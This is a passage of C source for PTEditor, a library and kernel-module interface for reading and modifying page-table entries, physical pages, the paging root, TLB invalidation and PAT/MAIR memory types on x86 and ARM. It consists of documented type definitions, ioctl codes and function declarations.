read/write physical pages 64 | */ 65 | #if defined(LINUX) 66 | typedef struct { 67 | /** Page-frame number */ 68 | size_t pfn; 69 | /** Virtual address */ 70 | size_t vaddr; 71 | /** Page size */ 72 | size_t size; 73 | /** Page content */ 74 | unsigned char* buffer; 75 | } ptedit_page_t; 76 | #else 77 | __pragma(pack(push, 1)) 78 | typedef struct { 79 | char content[4096]; 80 | size_t paddr; 81 | } ptedit_page_t; 82 | __pragma(pack(pop)) 83 | #endif 84 | 85 | 86 | /** 87 | * Structure to get/set the root of paging 88 | */ 89 | typedef struct { 90 | /** Process id */ 91 | size_t pid; 92 | /** Physical address of paging root */ 93 | size_t root; 94 | } ptedit_paging_t; 95 | 96 | #define PTEDIT_VALID_MASK_PGD (1<<0) 97 | #define PTEDIT_VALID_MASK_P4D (1<<1) 98 | #define PTEDIT_VALID_MASK_PUD (1<<2) 99 | #define PTEDIT_VALID_MASK_PMD (1<<3) 100 | #define PTEDIT_VALID_MASK_PTE (1<<4) 101 | 102 | #define PTEDITOR_TLB_INVALIDATION_KERNEL 0 103 | #define PTEDITOR_TLB_INVALIDATION_CUSTOM 1 104 | 105 | #if defined(LINUX) 106 | #define PTEDITOR_IOCTL_MAGIC_NUMBER (long)0x3d17 107 | 108 | #define PTEDITOR_IOCTL_CMD_VM_RESOLVE \ 109 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 1, size_t) 110 | 111 | #define PTEDITOR_IOCTL_CMD_VM_UPDATE \ 112 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 2, size_t) 113 | 114 | #define PTEDITOR_IOCTL_CMD_VM_LOCK \ 115 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 3, size_t) 116 | 117 | #define PTEDITOR_IOCTL_CMD_VM_UNLOCK \ 118 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 4, size_t) 119 | 120 | #define PTEDITOR_IOCTL_CMD_READ_PAGE \ 121 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 5, size_t) 122 | 123 | #define PTEDITOR_IOCTL_CMD_WRITE_PAGE \ 124 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 6, size_t) 125 | 126 | #define PTEDITOR_IOCTL_CMD_GET_ROOT \ 127 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 7, size_t) 128 | 129 | #define PTEDITOR_IOCTL_CMD_SET_ROOT \ 130 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 8, size_t) 131 | 132 | #define PTEDITOR_IOCTL_CMD_GET_PAGESIZE \ 133 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 9, size_t) 134 | 135 | #define PTEDITOR_IOCTL_CMD_INVALIDATE_TLB \ 136 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 10, size_t) 137 | 138 | #define PTEDITOR_IOCTL_CMD_GET_PAT \ 139 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 11, size_t) 140 | 141 | #define PTEDITOR_IOCTL_CMD_SET_PAT \ 142 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 12, size_t) 143 | 144 | #define PTEDITOR_IOCTL_CMD_SWITCH_TLB_INVALIDATION \ 145 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 13, size_t) 146 | #else 147 | #define PTEDITOR_READ_PAGE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) 148 | #define PTEDITOR_WRITE_PAGE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_READ_DATA) 149 | #define PTEDITOR_GET_CR3 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS) 150 | #define PTEDITOR_FLUSH_TLB CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS) 151 | #define PTEDITOR_READ_PHYS_VAL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS) 152 | #define PTEDITOR_WRITE_PHYS_VAL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS) 153 | #define PTEDITOR_SET_CR3 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS) 154 | #define PTEDITOR_SET_PAT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_BUFFERED, FILE_ANY_ACCESS) 155 | #define PTEDITOR_GET_PAT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_BUFFERED, FILE_ANY_ACCESS) 156 | #endif 157 | 158 | #endif // PTEDITOR_MODULE_H 159 | /** @file */ 160 | 161 | #ifndef _PTEDITOR_H_ 162 | #define _PTEDITOR_H_ 163 | 164 | #define ptedit_fnc static 165 | 166 | 167 | #include 168 | 169 | #if defined(WINDOWS) 170 | typedef size_t pid_t; 171 | #endif 172 | 173 | /** 174 | * The implementation of PTEditor to use 175 | * 176 | * @defgroup PTEDITOR_IMPLEMENTATION PTEditor Implementation 177 | * 178 | * @{ 179 | */ 180 | 181 | /** Use the kernel to resolve and update paging structures */ 182 | #define PTEDIT_IMPL_KERNEL 0 183 | /** Use the user-space implemenation to resolve and update paging structures, using pread to read from the memory mapping */ 184 | #define PTEDIT_IMPL_USER_PREAD 1 185 | /** Use the user-space implemenation that maps the physical memory into user space to resolve and update paging structures */ 186 | #define PTEDIT_IMPL_USER 2 187 | 188 | /** 189 | * The bits in a page-table entry 190 | * 191 | * @defgroup PAGETABLE_BITS Page Table Bits 192 | * 193 | * @{ 194 | * 195 | */ 196 | 197 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 198 | 199 | /** Page is present */ 200 | #define PTEDIT_PAGE_BIT_PRESENT 0 201 | /** Page is writeable */ 202 | #define PTEDIT_PAGE_BIT_RW 1 203 | /** Page is userspace addressable */ 204 | #define PTEDIT_PAGE_BIT_USER 2 205 | /** Page write through */ 206 | #define PTEDIT_PAGE_BIT_PWT 3 207 | /** Page cache disabled */ 208 | #define PTEDIT_PAGE_BIT_PCD 4 209 | /** Page was accessed (raised by CPU) */ 210 | #define PTEDIT_PAGE_BIT_ACCESSED 5 211 | /** Page was written to (raised by CPU) */ 212 | #define PTEDIT_PAGE_BIT_DIRTY 6 213 | /** 4 MB (or 2MB) page */ 214 | #define PTEDIT_PAGE_BIT_PSE 7 215 | /** PAT (only on 4KB pages) */ 216 | #define PTEDIT_PAGE_BIT_PAT 7 217 | /** Global TLB entry PPro+ */ 218 | #define PTEDIT_PAGE_BIT_GLOBAL 8 219 | /** Available for programmer */ 220 | #define PTEDIT_PAGE_BIT_SOFTW1 9 221 | /** Available for programmer */ 222 | #define PTEDIT_PAGE_BIT_SOFTW2 10 223 | /** Available for programmer */ 224 | #define PTEDIT_PAGE_BIT_SOFTW3 11 225 | /** PAT (on 2MB or 1GB pages) */ 226 | #define PTEDIT_PAGE_BIT_PAT_LARGE 12 227 | /** Available for programmer */ 228 | #define PTEDIT_PAGE_BIT_SOFTW4 58 229 | /** Protection Keys, bit 1/4 */ 230 | #define PTEDIT_PAGE_BIT_PKEY_BIT0 59 231 | /** Protection Keys, bit 2/4 */ 232 | #define PTEDIT_PAGE_BIT_PKEY_BIT1 60 233 | /** Protection Keys, bit 3/4 */ 234 | #define PTEDIT_PAGE_BIT_PKEY_BIT2 61 235 | /** Protection Keys, bit 4/4 */ 236 | #define PTEDIT_PAGE_BIT_PKEY_BIT3 62 237 | /** No execute: only valid after cpuid check */ 238 | #define PTEDIT_PAGE_BIT_NX 63 239 | 240 | #elif defined(__aarch64__) 241 | 242 | /** Entry type 1/2 */ 243 | #define PTEDIT_PAGE_BIT_TYPE_BIT0 0 244 | /** Entry type 1/2 */ 245 | #define PTEDIT_PAGE_BIT_TYPE_BIT1 1 246 | /** Memory attribute index 1/3 */ 247 | #define PTEDIT_PAGE_BIT_MAIR_BIT0 2 248 | /** Memory attribute index 2/3 */ 249 | #define PTEDIT_PAGE_BIT_MAIR_BIT1 3 250 | /** Memory attribute index 3/3 */ 251 | #define PTEDIT_PAGE_BIT_MAIR_BIT2 4 252 | /** Page is non-secure */ 253 | #define PTEDIT_PAGE_BIT_NON_SECURE 5 254 | /** Page permissions 1/2 */ 255 | #define PTEDIT_PAGE_BIT_PERMISSION_BIT0 6 256 | /** Page permissions 2/2 */ 257 | #define PTEDIT_PAGE_BIT_PERMISSION_BIT1 7 258 | /** Shareability domain 1/2 */ 259 | #define PTEDIT_PAGE_BIT_SHARE_BIT0 8 260 | /** Shareability domain 2/2 */ 261 | #define PTEDIT_PAGE_BIT_SHARE_BIT1 9 262 | /** Page was accessed (raised by CPU) */ 263 | #define PTEDIT_PAGE_BIT_ACCESSED 10 264 | /** Page is not global */ 265 | #define PTEDIT_PAGE_BIT_NOT_GLOBAL 11 266 | /** Contiguous */ 267 | #define PTEDIT_PAGE_BIT_CONTIGUOUS 52 268 | /** Privileged execute never */ 269 | #define PTEDIT_PAGE_BIT_PXN 53 270 | /** Execute never */ 271 | #define PTEDIT_PAGE_BIT_XN 54 272 | /** Available for programmer */ 273 | #define PTEDIT_PAGE_BIT_SOFTW1 55 274 | /** Available for programmer */ 275 | #define PTEDIT_PAGE_BIT_SOFTW2 56 276 | /** Available for programmer */ 277 | #define PTEDIT_PAGE_BIT_SOFTW3 57 278 | /** Available for programmer */ 279 | #define PTEDIT_PAGE_BIT_SOFTW4 58 280 | /** Available for programmer */ 281 | #define PTEDIT_PAGE_BIT_SOFTW5 59 282 | /** Available for programmer */ 283 | #define PTEDIT_PAGE_BIT_SOFTW6 60 284 | /** Available for programmer */ 285 | #define PTEDIT_PAGE_BIT_SOFTW7 61 286 | /** Available for programmer */ 287 | #define PTEDIT_PAGE_BIT_SOFTW8 62 288 | /** Available for programmer */ 289 | #define PTEDIT_PAGE_BIT_SOFTW9 63 290 | 291 | #endif 292 | /** @} */ 293 | 294 | /** 295 | * The memory types (PAT/MAIR)values 296 | * 297 | * @defgroup MEMORY_TYPES Memory Types (PAT/MAIR values) 298 | * 299 | * @{ 300 | */ 301 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 302 | 303 | /** Strong uncachable (nothing is cached) */ 304 | #define PTEDIT_MT_UC 0 305 | /** Write combining (consecuite writes are combined in a WC buffer and then written once) */ 306 | #define PTEDIT_MT_WC 1 307 | /** Write through (read accesses are cached, write access are written to cache and memory) */ 308 | #define PTEDIT_MT_WT 4 309 | /** Write protected (only read access is cached) */ 310 | #define PTEDIT_MT_WP 5 311 | /** Write back (read and write accesses are cached) */ 312 | #define PTEDIT_MT_WB 6 313 | /** Uncachable (as UC, but can be changed to WC through MTRRs) */ 314 | #define PTEDIT_MT_UCMINUS 7 315 | 316 | #elif defined(__aarch64__) 317 | 318 | /** Strong uncachable (nothing is cached) */ 319 | #define PTEDIT_MT_UC 0x44 320 | /** Write through (read accesses are cached, write access are written to cache and memory) */ 321 | #define PTEDIT_MT_WT 0xbb 322 | /** Write back (read and write accesses are cached) */ 323 | #define PTEDIT_MT_WB 0xff 324 | 325 | #endif 326 | /** @} */ 327 | 328 | 329 | /** 330 | * Basic functionality required in every program 331 | * 332 | * @defgroup BASIC Basic Functionality 333 | * 334 | * @{ 335 | */ 336 | 337 | /** 338 | * Initializes (and acquires) PTEditor kernel module 339 | * 340 | * @return 0 Initialization was successful 341 | * @return -1 Initialization failed 342 | */ 343 | ptedit_fnc int ptedit_init(); 344 | 345 | /** 346 | * Releases PTEditor kernel module 347 | * 348 | */ 349 | ptedit_fnc void ptedit_cleanup(); 350 | 351 | /** 352 | * Switch between kernel and user-space implementation 353 | * 354 | * @param[in] implementation The implementation to use, either PTEDIT_IMPL_KERNEL, PTEDIT_IMPL_USER, or PTEDIT_IMPL_USER_PREAD 355 | * 356 | */ 357 | ptedit_fnc void ptedit_use_implementation(int implementation); 358 | 359 | /** @} */ 360 | 361 | 362 | 363 | 364 | /** 365 | * Functions to read and write page tables 366 | * 367 | * @defgroup PAGETABLE Page tables 368 | * 369 | * @{ 370 | */ 371 | 372 | typedef ptedit_entry_t(*ptedit_resolve_t)(void*, pid_t); 373 | typedef void (*ptedit_update_t)(void*, pid_t, ptedit_entry_t*); 374 | 375 | 376 | /** 377 | * Resolves the page-table entries of all levels for a virtual address of a given process. 378 | * 379 | * @param[in] address The virtual address to resolve 380 | * @param[in] pid The pid of the process (0 for own process) 381 | * 382 | * @return A structure containing the page-table entries of all levels. 383 | */ 384 | ptedit_fnc ptedit_resolve_t ptedit_resolve; 385 | 386 | /** 387 | * Updates one or more page-table entries for a virtual address of a given process. 388 | * The TLB for the given address is flushed after updating the entries. 389 | * 390 | * @param[in] address The virtual address 391 | * @param[in] pid The pid of the process (0 for own process) 392 | * @param[in] vm A structure containing the values for the page-table entries and a bitmask indicating which entries to update 393 | * 394 | */ 395 | ptedit_fnc ptedit_update_t ptedit_update; 396 | 397 | /** 398 | * Sets a bit directly in the PTE of an address. 399 | * 400 | * @param[in] address The virtual address 401 | * @param[in] pid The pid of the process (0 for own process) 402 | * @param[in] bit The bit to set (one of PTEDIT_PAGE_BIT_*) 403 | * 404 | */ 405 | ptedit_fnc void ptedit_pte_set_bit(void* address, pid_t pid, int bit); 406 | 407 | /** 408 | * Clears a bit directly in the PTE of an address. 409 | * 410 | * @param[in] address The virtual address 411 | * @param[in] pid The pid of the process (0 for own process) 412 | * @param[in] bit The bit to clear (one of PTEDIT_PAGE_BIT_*) 413 | * 414 | */ 415 | ptedit_fnc void ptedit_pte_clear_bit(void* address, pid_t pid, int bit); 416 | 417 | /** 418 | * Returns the value of a bit directly from the PTE of an address. 419 | * 420 | * @param[in] address The virtual address 421 | * @param[in] pid The pid of the process (0 for own process) 422 | * @param[in] bit The bit to get (one of PTEDIT_PAGE_BIT_*) 423 | * 424 | * @return The value of the bit (0 or 1) 425 | * 426 | */ 427 | ptedit_fnc unsigned char ptedit_pte_get_bit(void* address, pid_t pid, int bit); 428 | 429 | /** 430 | * Reads the PFN directly from the PTE of an address. 431 | * 432 | * @param[in] address The virtual address 433 | * @param[in] pid The pid of the process (0 for own process) 434 | * 435 | * @return The page-frame number (PFN) 436 | * 437 | */ 438 | ptedit_fnc size_t ptedit_pte_get_pfn(void* address, pid_t pid); 439 | 440 | /** 441 | * Sets the PFN directly in the PTE of an address. 442 | * 443 | * @param[in] address The virtual address 444 | * @param[in] pid The pid of the process (0 for own process) 445 | * @param[in] pfn The new page-frame number (PFN) 446 | * 447 | */ 448 | ptedit_fnc void ptedit_pte_set_pfn(void* address, pid_t pid, size_t pfn); 449 | 450 | 451 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 452 | #define PTEDIT_PAGE_PRESENT 1 453 | 454 | /** 455 | * Struct to access the fields of the PGD 456 | */ 457 | #pragma pack(push,1) 458 | typedef struct { 459 | size_t present : 1; 460 | size_t writeable : 1; 461 | size_t user_access : 1; 462 | size_t write_through : 1; 463 | size_t cache_disabled : 1; 464 | size_t accessed : 1; 465 | size_t ignored_3 : 1; 466 | size_t size : 1; 467 | size_t ignored_2 : 4; 468 | size_t pfn : 28; 469 | size_t reserved_1 : 12; 470 | size_t ignored_1 : 11; 471 | size_t execution_disabled : 1; 472 | } ptedit_pgd_t; 473 | #pragma pack(pop) 474 | 475 | 476 | /** 477 | * Struct to access the fields of the P4D 478 | */ 479 | typedef ptedit_pgd_t ptedit_p4d_t; 480 | 481 | 482 | /** 483 | * Struct to access the fields of the PUD 484 | */ 485 | typedef ptedit_pgd_t ptedit_pud_t; 486 | 487 | 488 | /** 489 | * Struct to access the fields of the PMD 490 | */ 491 | typedef ptedit_pgd_t ptedit_pmd_t; 492 | 493 | 494 | /** 495 | * Struct to access the fields of the PMD when mapping a large page (2MB) 496 | */ 497 | #pragma pack(push,1) 498 | typedef struct { 499 | size_t present : 1; 500 | size_t writeable : 1; 501 | size_t user_access : 1; 502 | size_t write_through : 1; 503 | size_t cache_disabled : 1; 504 | size_t accessed : 1; 505 | size_t dirty : 1; 506 | size_t size : 1; 507 | size_t global : 1; 508 | size_t ignored_2 : 3; 509 | size_t pat : 1; 510 | size_t reserved_2 : 8; 511 | size_t pfn : 19; 512 | size_t reserved_1 : 12; 513 | size_t ignored_1 : 11; 514 | size_t execution_disabled : 1; 515 | } ptedit_pmd_large_t; 516 | #pragma pack(pop) 517 | 518 | /** 519 | * Struct to access the fields of the PTE 520 | */ 521 | #pragma pack(push,1) 522 | typedef struct { 523 | size_t present : 1; 524 | size_t writeable : 1; 525 | size_t user_access : 1; 526 | size_t write_through : 1; 527 | size_t cache_disabled : 1; 528 | size_t accessed : 1; 529 | size_t dirty : 1; 530 | size_t size : 1; 531 | size_t global : 1; 532 | size_t ignored_2 : 3; 533 | size_t pfn : 28; 534 | size_t reserved_1 : 12; 535 | size_t ignored_1 : 11; 536 | size_t execution_disabled : 1; 537 | } ptedit_pte_t; 538 | #pragma pack(pop) 539 | 540 | #elif defined(__aarch64__) 541 | #define PTEDIT_PAGE_PRESENT 3 542 | 543 | 544 | /** 545 | * Struct to access the fields of the PGD 546 | */ 547 | typedef struct { 548 | size_t present : 2; 549 | size_t ignored_1 : 10; 550 | size_t pfn : 36; 551 | size_t reserved : 4; 552 | size_t ignored_2 : 7; 553 | size_t pxn_table : 1; 554 | size_t xn_table : 1; 555 | size_t ap_table : 2; 556 | size_t ns_table : 1; 557 | }__attribute__((__packed__)) ptedit_pgd_t; 558 | 559 | 560 | /** 561 | * Struct to access the fields of the P4D 562 | */ 563 | typedef ptedit_pgd_t ptedit_p4d_t; 564 | 565 | 566 | /** 567 | * Struct to access the fields of the PUD 568 | */ 569 | typedef ptedit_pgd_t ptedit_pud_t; 570 | 571 | 572 | /** 573 | * Struct to access the fields of the PMD 574 | */ 575 | typedef ptedit_pgd_t ptedit_pmd_t; 576 | 577 | 578 | /** 579 | * Struct to access the fields of the PGD when mapping a large page 580 | */ 581 | typedef struct { 582 | size_t present : 2; 583 | size_t memory_attributes_index : 3; 584 | size_t non_secure : 1; 585 | size_t access_permissions : 2; 586 | size_t shareability_field : 2; 587 | size_t access_flag : 1; 588 | size_t not_global : 1; 589 | size_t reserved_1 : 18; 590 | size_t pfn : 18; 591 | size_t reserved_2 : 4; 592 | size_t contiguous : 1; 593 | size_t privileged_execute_never : 1; 594 | size_t execute_never : 1; 595 | size_t ingored_1 : 4; 596 | size_t ignored_2 : 5; 597 | }__attribute__((__packed__)) ptedit_pgd_large_t; 598 | 599 | 600 | /** 601 | * Struct to access the fields of the PMD when mapping a large page 602 | */ 603 | typedef struct { 604 | size_t present : 2; 605 | size_t memory_attributes_index : 3; 606 | size_t non_secure : 1; 607 | size_t access_permissions : 2; 608 | size_t shareability_field : 2; 609 | size_t access_flag : 1; 610 | size_t not_global : 1; 611 | size_t reserved_1 : 9; 612 | size_t pfn : 27; 613 | size_t reserved_2 : 4; 614 | size_t contiguous : 1; 615 | size_t privileged_execute_never : 1; 616 | size_t execute_never : 1; 617 | size_t ingored_1 : 4; 618 | size_t ignored_2 : 5; 619 | }__attribute__((__packed__)) ptedit_pmd_large_t; 620 | 621 | 622 | /** 623 | * Struct to access the fields of the PTE 624 | */ 625 | typedef struct { 626 | size_t present : 2; 627 | size_t memory_attributes_index : 3; 628 | size_t non_secure : 1; 629 | size_t access_permissions : 2; 630 | size_t shareability_field : 2; 631 | size_t access_flag : 1; 632 | size_t not_global : 1; 633 | size_t pfn : 36; 634 | size_t reserved_1 : 4; 635 | size_t contiguous : 1; 636 | size_t privileged_execute_never : 1; 637 | size_t execute_never : 1; 638 | size_t ingored_1 : 4; 639 | size_t ignored_2 : 5; 640 | }__attribute__((__packed__)) ptedit_pte_t; 641 | #endif 642 | 643 | /** 644 | * Casts a paging structure entry (e.g., page table) to a structure with easy access to its fields 645 | * 646 | * @param[in] v Entry to Cast 647 | * @param[in] type Data type of struct to cast to, e.g., ptedit_pte_t 648 | * 649 | * @return Struct of type "type" with easily accessible fields 650 | */ 651 | #define ptedit_cast(v, type) (*((type*)(&(v)))) 652 | 653 | /** @} */ 654 | 655 | 656 | 657 | /** 658 | * General system info 659 | * 660 | * @defgroup SYSTEMINFO System info 661 | * 662 | * @{ 663 | */ 664 | 665 | /** 666 | * Returns the default page size of the system 667 | * 668 | * @return Page size of the system in bytes 669 | */ 670 | ptedit_fnc int ptedit_get_pagesize(); 671 | 672 | /** @} */ 673 | 674 | 675 | 676 | /** 677 | * Get and set page frame numbers 678 | * 679 | * @defgroup PFN Page frame numbers (PFN) 680 | * 681 | * @{ 682 | */ 683 | 684 | /** 685 | * Returns a new page-table entry where the page-frame number (PFN) is replaced by the specified one. 686 | * 687 | * @param[in] entry The page-table entry to modify 688 | * @param[in] pfn The new page-frame number (PFN) 689 | * 690 | * @return A new page-table entry with the given page-frame number 691 | */ 692 | ptedit_fnc size_t ptedit_set_pfn(size_t entry, size_t pfn); 693 | 694 | /** 695 | * Returns the page-frame number (PFN) of a page-table entry. 696 | * 697 | * @param[in] entry The page-table entry to extract the PFN from 698 | * 699 | * @return The page-frame number 700 | */ 701 | ptedit_fnc size_t ptedit_get_pfn(size_t entry); 702 | 703 | /** @} */ 704 | 705 | 706 | 707 | 708 | /** 709 | * Reading and writing of physical pages 710 | * 711 | * @defgroup PHYSICALPAGE Physical pages 712 | * 713 | * @{ 714 | */ 715 | 716 | /** 717 | * Retrieves the content of a physical page. 718 | * 719 | * @param[in] pfn The page-frame number (PFN) of the page to read 720 | * @param[out] buffer A buffer which is large enough to hold the content of the page 721 | * 722 | */ 723 | ptedit_fnc void ptedit_read_physical_page(size_t pfn, char* buffer); 724 | 725 | /** 726 | * Replaces the content of a physical page. 727 | * 728 | * @param[in] pfn The page-frame number (PFN) of the page to update 729 | * @param[in] content A buffer containing the new content of the page (must be the size of a physical page) 730 | * 731 | */ 732 | ptedit_fnc void ptedit_write_physical_page(size_t pfn, char* content); 733 | 734 | /** 735 | * Map a physical address range. 736 | * 737 | * @param[in] physical The physical address to map 738 | * @param[in] length The length of the physical memory range to map 739 | * 740 | * @return A virtual address that can be used to access the physical range 741 | */ 742 | ptedit_fnc void* ptedit_pmap(size_t physical, size_t length); 743 | 744 | /** @} */ 745 | 746 | 747 | 748 | 749 | /** 750 | * Read and modify the root of paging structure 751 | * 752 | * @defgroup PAGING Paging 753 | * 754 | * @{ 755 | */ 756 | 757 | /** 758 | * Returns the root of the paging structure (i.e., CR3 on x86 and TTBR0 on ARM). 759 | * 760 | * @param[in] pid The proccess id (0 for own process) 761 | * 762 | * @return The phyiscal address (not PFN!) of the first page table (i.e., the PGD) 763 | * 764 | */ 765 | ptedit_fnc size_t ptedit_get_paging_root(pid_t pid); 766 | 767 | /** 768 | * Sets the root of the paging structure (i.e., CR3 on x86 and TTBR0 on ARM). 769 | * 770 | * @param[in] pid The proccess id (0 for own process) 771 | * @param[in] root The physical address (not PFN!) of the first page table (i.e., the PGD) 772 | * 773 | */ 774 | ptedit_fnc void ptedit_set_paging_root(pid_t pid, size_t root); 775 | 776 | /** @} */ 777 | 778 | 779 | /** 780 | * Invalidations and barriers 781 | * 782 | * @defgroup BARRIERS TLB/Barriers 783 | * 784 | * @{ 785 | */ 786 | 787 | /** 788 | * Invalidates the TLB for a given address on all CPUs. 789 | * 790 | * @param[in] address The address to invalidate 791 | * 792 | */ 793 | ptedit_fnc void ptedit_invalidate_tlb(void* address); 794 | 795 | /** 796 | * Change the method used for flushing the TLB (either kernel or custom function) 797 | * 798 | * @param[in] implementation The implementation to use, either PTEDITOR_TLB_INVALIDATION_KERNEL or PTEDITOR_TLB_INVALIDATION_CUSTOM 799 | * 800 | * @return 0 on success, -1 on failure 801 | */ 802 | ptedit_fnc int ptedit_switch_tlb_invalidation(int implementation); 803 | 804 | /** 805 | * A full serializing barrier which stops everything. 806 | * 807 | */ 808 | ptedit_fnc void ptedit_full_serializing_barrier(); 809 | 810 | /** @} */ 811 | 812 | 813 | 814 | /** 815 | * Memory types (x86 PATs / ARM MAIR) 816 | * 817 | * @defgroup MTS Memory types (PATs / MAIR) 818 | * 819 | * @{ 820 | */ 821 | 822 | /** 823 | * Reads the value of all memory types (x86 PATs / ARM MAIRs). This is equivalent to reading the MSR 0x277 (x86) / MAIR_EL1 (ARM). 824 | * 825 | * @return The memory types in the same format as in the IA32_PAT MSR / MAIR_EL1 826 | * 827 | */ 828 | ptedit_fnc size_t ptedit_get_mts(); 829 | 830 | /** 831 | * Programs the value of all memory types (x86 PATs / ARM MAIRs). This is equivalent to writing to the MSR 0x277 (x86) / MAIR_EL1 (ARM) on all CPUs. 832 | * 833 | * @param[in] mts The memory types in the same format as in the IA32_PAT MSR / MAIR_EL1 834 | * 835 | */ 836 | ptedit_fnc void ptedit_set_mts(size_t mts); 837 | 838 | /** 839 | * Reads the value of a specific memory type attribute (PAT/MAIR). 840 | * 841 | * @param[in] mt The PAT/MAIR ID (from 0 to 7) 842 | * 843 | * @return The PAT/MAIR value (can be one of PTEDIT_MT_*) 844 | * 845 | */ 846 | ptedit_fnc char ptedit_get_mt(unsigned char mt); 847 | 848 | /** 849 | * Programs the value of a specific memory type attribute (PAT/MAIR). 850 | * 851 | * @param[in] mt The PAT/MAIR ID (from 0 to 7) 852 | * @param[in] value The PAT/MAIR value (can be one of PTEDIT_MT_*) 853 | * 854 | */ 855 | ptedit_fnc void ptedit_set_mt(unsigned char mt, unsigned char value); 856 | 857 | /** 858 | * Generates a bitmask of all memory type attributes (PAT/MAIR) which are programmed to the given value. 859 | * 860 | * @param[in] type A memory type, i.e., PAT/MAIR value (one of PTEDIT_MT_*) 861 | * 862 | * @return A bitmask where a set bit indicates that the corresponding PAT/MAIR has the given type 863 | * 864 | */ 865 | ptedit_fnc unsigned char ptedit_find_mt(unsigned char type); 866 | 867 | /** 868 | * Returns the first memory type attribute (PAT/MAIR) which is programmed to the given memory type. 869 | * 870 | * @param[in] type A memory type, i.e., PAT/MAIR value (one of PTEDIT_MT_*) 871 | * 872 | * @return A PAT/MAIR ID, or -1 if no PAT/MAIR of this type was found 873 | * 874 | */ 875 | ptedit_fnc int ptedit_find_first_mt(unsigned char type); 876 | 877 | /** 878 | * Returns a new page-table entry which uses the given memory type (PAT/MAIR). 879 | * 880 | * @param[in] entry A page-table entry 881 | * @param[in] mt A PAT/MAIR ID (between 0 and 7) 882 | * 883 | * @return A new page-table entry with the given memory type (PAT/MAIR) 884 | * 885 | */ 886 | ptedit_fnc size_t ptedit_apply_mt(size_t entry, unsigned char mt); 887 | 888 | /** 889 | * Returns the memory type (i.e., PAT/MAIR ID) which is used by a page-table entry. 890 | * 891 | * @param[in] entry A page-table entry 892 | * 893 | * @return A PAT/MAIR ID (between 0 and 7) 894 | * 895 | */ 896 | ptedit_fnc unsigned char ptedit_extract_mt(size_t entry); 897 | 898 | /** 899 | * Returns a human-readable representation of a memory type (PAT/MAIR value). 900 | * 901 | * @param[in] mt A memory type (PAT/MAIR value, e.g., one of PTEDIT_MT_*) 902 | * 903 | * @return A human-readable representation of the memory type 904 | * 905 | */ 906 | ptedit_fnc const char* ptedit_mt_to_string(unsigned char mt); 907 | 908 | /** @} */ 909 | 910 | 911 | 912 | /** 913 | * Pretty print 914 | * 915 | * @defgroup PRETTYPRINT Pretty print 916 | * 917 | * @{ 918 | */ 919 | 920 | /** 921 | * Pretty prints a ptedit_entry_t struct. 922 | * 923 | * @param[in] entry A ptedit_entry_t struct 924 | * 925 | */ 926 | ptedit_fnc void ptedit_print_entry_t(ptedit_entry_t entry); 927 | 928 | /** 929 | * Pretty prints a page-table entry. 930 | * 931 | * @param[in] entry A page-table entry 932 | * 933 | */ 934 | ptedit_fnc void ptedit_print_entry(size_t entry); 935 | 936 | /** 937 | * Prints a single line of the pretty-print representation of a page-table entry. 938 | * 939 | * @param[in] entry A page-table entry 940 | * @param[in] line The line to print (0 to 3) 941 | * 942 | */ 943 | ptedit_fnc void ptedit_print_entry_line(size_t entry, int line); 944 | 945 | /** @} */ 946 | 947 | #endif 948 | #include 949 | #include 950 | #include 951 | #include 952 | 953 | 954 | #if defined(LINUX) 955 | #include 956 | #include 957 | #include 958 | #else 959 | #include 960 | #endif 961 | 962 | #if defined(LINUX) 963 | #define PTEDIT_COLOR_RED "\x1b[31m" 964 | #define PTEDIT_COLOR_GREEN "\x1b[32m" 965 | #define PTEDIT_COLOR_RESET "\x1b[0m" 966 | #else 967 | #define PTEDIT_COLOR_RED "" 968 | #define PTEDIT_COLOR_GREEN "" 969 | #define PTEDIT_COLOR_RESET "" 970 | #endif 971 | 972 | #if defined(WINDOWS) 973 | #define NO_WINDOWS_SUPPORT fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: %s not supported on Windows", __func__); 974 | #endif 975 | 976 | #if defined(WINDOWS) 977 | static HANDLE ptedit_fd; 978 | #else 979 | static int ptedit_fd; 980 | #endif 981 | static int ptedit_umem; 982 | static int ptedit_pagesize; 983 | static size_t ptedit_paging_root; 984 | static unsigned char* ptedit_vmem; 985 | 986 | typedef struct { 987 | int has_pgd, has_p4d, has_pud, has_pmd, has_pt; 988 | int pgd_entries, p4d_entries, pud_entries, pmd_entries, pt_entries; 989 | int page_offset; 990 | } ptedit_paging_definition_t; 991 | 992 | ptedit_paging_definition_t ptedit_paging_definition; 993 | 994 | // --------------------------------------------------------------------------- 995 | ptedit_fnc ptedit_entry_t ptedit_resolve_kernel(void* address, pid_t pid) { 996 | ptedit_entry_t vm; 997 | memset(&vm, 0, sizeof(vm)); 998 | vm.vaddr = (size_t)address; 